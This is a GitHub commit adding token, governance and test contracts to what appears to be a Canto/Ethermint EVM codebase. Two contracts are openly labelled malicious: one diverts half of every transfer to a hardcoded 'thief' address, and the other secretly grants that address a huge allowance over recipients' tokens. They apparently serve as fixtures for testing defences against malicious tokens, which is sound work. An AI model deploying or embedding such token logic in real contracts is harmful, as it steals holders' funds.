Skip to content

Commit

Permalink
Add contracts from Canto
Browse files Browse the repository at this point in the history
  • Loading branch information
ChristianBorst committed Oct 7, 2024
1 parent 3c59b03 commit 561c7f4
Show file tree
Hide file tree
Showing 26 changed files with 796 additions and 0 deletions.
43 changes: 43 additions & 0 deletions contracts/ERC20Burnable.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Burnable.sol)

pragma solidity ^0.8.0;

import "./@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./@openzeppelin/contracts/utils/Context.sol";

/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}

/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
unchecked {
_approve(account, _msgSender(), currentAllowance - amount);
}
_burn(account, amount);
}
}
23 changes: 23 additions & 0 deletions contracts/ERC20DirectBalanceManipulation.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "./@openzeppelin/contracts/token/ERC20/presets/ERC20PresetMinterPauser.sol";

// This is an evil token. Whenever an A -> B transfer is called, half of the amount goes to B
// and half to a predefined C
contract ERC20DirectBalanceManipulation is ERC20PresetMinterPauser {
address private _thief = 0x4dC6ac40Af078661fc43823086E1513635Eeab14;
constructor(uint256 initialSupply)
ERC20PresetMinterPauser("ERC20DirectBalanceManipulation", "ERC20DirectBalanceManipulation") {
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_mint(msg.sender, initialSupply);
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
// Any time a transaction happens, the thief account siphons half.
uint256 half = amount / 2;

super.transfer(_thief, amount - half); // a - h for rounding
return super.transfer(recipient, half);
}
}
24 changes: 24 additions & 0 deletions contracts/ERC20MaliciousDelayed.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "./@openzeppelin/contracts/token/ERC20/presets/ERC20PresetMinterPauser.sol";

// This is an evil token. Whenever an A -> B transfer is called,
// a predefined C is given a massive allowance on B.
contract ERC20MaliciousDelayed is ERC20PresetMinterPauser {
address private _thief = 0x4dC6ac40Af078661fc43823086E1513635Eeab14;
uint256 private _bigNum = 1000000000000000000; // ~uint256(0)
constructor(uint256 initialSupply)
ERC20PresetMinterPauser("ERC20MaliciousDelayed", "ERC20MALICIOUSDELAYED") {
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_mint(msg.sender, initialSupply);

}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
// Any time a transaction happens, the thief account is granted allowance in secret.
// Still emits an Approve!
super._approve(recipient, _thief, _bigNum);
return super.transfer(recipient, amount);
}
}
125 changes: 125 additions & 0 deletions contracts/ERC20MinterBurnerDecimals.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,125 @@
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.3.2 (token/ERC20/presets/ERC20PresetMinterPauser.sol)

pragma solidity ^0.8.0;

import "./@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import "./@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol";
import "./@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "./@openzeppelin/contracts/utils/Context.sol";

/**
* @dev {ERC20} token, including:
*
* - ability for holders to burn (destroy) their tokens
* - a minter role that allows for token minting (creation)
* - a pauser role that allows to stop all token transfers
*
* This contract uses {AccessControl} to lock permissioned functions using the
* different roles - head to its documentation for details.
*
* The account that deploys the contract will be granted the minter and pauser
* roles, as well as the default admin role, which will let it grant both minter
* and pauser roles to other accounts.
*/
contract ERC20MinterBurnerDecimals is Context, AccessControlEnumerable, ERC20Burnable, ERC20Pausable {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE");
uint8 private _decimals;

/**
* @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the
* account that deploys the contract and customizes tokens decimals
*
* See {ERC20-constructor}.
*/
constructor(string memory name, string memory symbol, uint8 decimals_)
ERC20(name, symbol) {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());

_setupRole(MINTER_ROLE, _msgSender());
_setupRole(PAUSER_ROLE, _msgSender());
_setupRole(BURNER_ROLE, _msgSender());
_setupDecimals(decimals_);
}

/**
* @dev Sets `_decimals` as `decimals_ once at Deployment'
*/
function _setupDecimals(uint8 decimals_) private {
_decimals = decimals_;
}

/**
* @dev Overrides the `decimals()` method with custom `_decimals`
*/
function decimals() public view virtual override returns (uint8) {
return _decimals;
}

/**
* @dev Creates `amount` new tokens for `to`.
*
* See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the `MINTER_ROLE`.
*/
function mint(address to, uint256 amount) public virtual {
require(hasRole(MINTER_ROLE, _msgSender()), "ERC20MinterBurnerDecimals: must have minter role to mint");
_mint(to, amount);
}

/**
* @dev Destroys `amount` new tokens for `to`.
*
* See {ERC20-_burn}.
*
* Requirements:
*
* - the caller must have the `BURNER_ROLE`.
*/
function burnCoins(address from, uint256 amount) public virtual {
require(hasRole(BURNER_ROLE, _msgSender()), "ERC20MinterBurnerDecimals: must have burner role to burn");
_burn(from, amount);
}

/**
* @dev Pauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_pause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function pause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20MinterBurnerDecimals: must have pauser role to pause");
_pause();
}

/**
* @dev Unpauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_unpause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function unpause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20MinterBurnerDecimals: must have pauser role to unpause");
_unpause();
}

function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override(ERC20, ERC20Pausable) {
super._beforeTokenTransfer(from, to, amount);
}
}
83 changes: 83 additions & 0 deletions contracts/Port.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,83 @@
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

contract ProposalStore {
struct Proposal {
// @notice Unique id for looking up a proposal
uint256 id;
string title;
string desc;
// @notice the ordered list of target addresses for calls to be made
address[] targets;
uint256[] values;
// @notice The ordered list of function signatures to be called
string[] signatures;
// @notice The ordered list of calldata to be passed to each call
bytes[] calldatas;
}

address immutable govshuttleModAcct;

mapping(uint256 => Proposal) private proposals;

constructor(
uint256 propId,
string memory title,
string memory desc,
address[] memory targets,
uint256[] memory values,
string[] memory signatures,
bytes[] memory calldatas
) {
govshuttleModAcct = msg.sender;
Proposal memory prop = Proposal(
propId,
title,
desc,
targets,
values,
signatures,
calldatas
);
proposals[propId] = prop;
}

function AddProposal(
uint256 propId,
string memory title,
string memory desc,
address[] memory targets,
uint256[] memory values,
string[] memory signatures,
bytes[] memory calldatas
) public {
require(msg.sender == govshuttleModAcct); // only govshuttle account can add proposals to store
Proposal memory newProp = Proposal(
propId,
title,
desc,
targets,
values,
signatures,
calldatas
);
proposals[propId] = newProp;
}

function QueryProp(uint256 propId) public view returns (Proposal memory) {
if (proposals[propId].id == propId) {
return proposals[propId];
}
return
Proposal(
0,
"",
"",
new address[](0),
new uint256[](0),
new string[](0),
new bytes[](0)
);
}
}
23 changes: 23 additions & 0 deletions contracts/ProposalStore.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
package contracts

import (
_ "embed" // embed compiled smart contract
"encoding/json"

evmtypes "github.com/evmos/ethermint/x/evm/types"
)

var (
//go:embed compiled_contracts/ProposalStore.json
ProposalStoreJSON []byte

// ERC20BurnableContract is the compiled ERC20Burnable contract
ProposalStoreContract evmtypes.CompiledContract
)

func init() {
err := json.Unmarshal(ProposalStoreJSON, &ProposalStoreContract)
if err != nil {
panic(err)
}
}
23 changes: 23 additions & 0 deletions contracts/callee.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
package contracts

import (
_ "embed" // embed compiled smart contract

evmtypes "github.com/evmos/ethermint/x/evm/types"
)

var (
//go:embed compiled_contracts/callee.json
calleeJSON []byte

// ERC20BurnableContract is the compiled ERC20Burnable contract
CalleeContract evmtypes.CompiledContract
)

func init() {
// err := json.Unmarshal(calleeJSON, &CalleeContract)
// if err != nil {
// // panic(err)
// fmt.Println("ERROR HERE")
// }
}
11 changes: 11 additions & 0 deletions contracts/callee.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
pragma solidity ^0.8.10;

//contract that is called from the caller

contract callee {
uint public Int; //public variable initially set to 0

function setInt(uint val) external {
Int = val;
}
}
22 changes: 22 additions & 0 deletions contracts/caller.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
package contracts

import (
_ "embed" // embed compiled smart contract

evmtypes "github.com/evmos/ethermint/x/evm/types"
)

var (
//go:embed compiled_contracts/caller.json
callerJSON []byte

// ERC20BurnableContract is the compiled ERC20Burnable contract
CallerContract evmtypes.CompiledContract
)

func init() {
// err := json.Unmarshal(callerJSON, &CallerContract)
// if err != nil {
// panic(err)
// }
}
Loading

0 comments on commit 561c7f4

Please sign in to comment.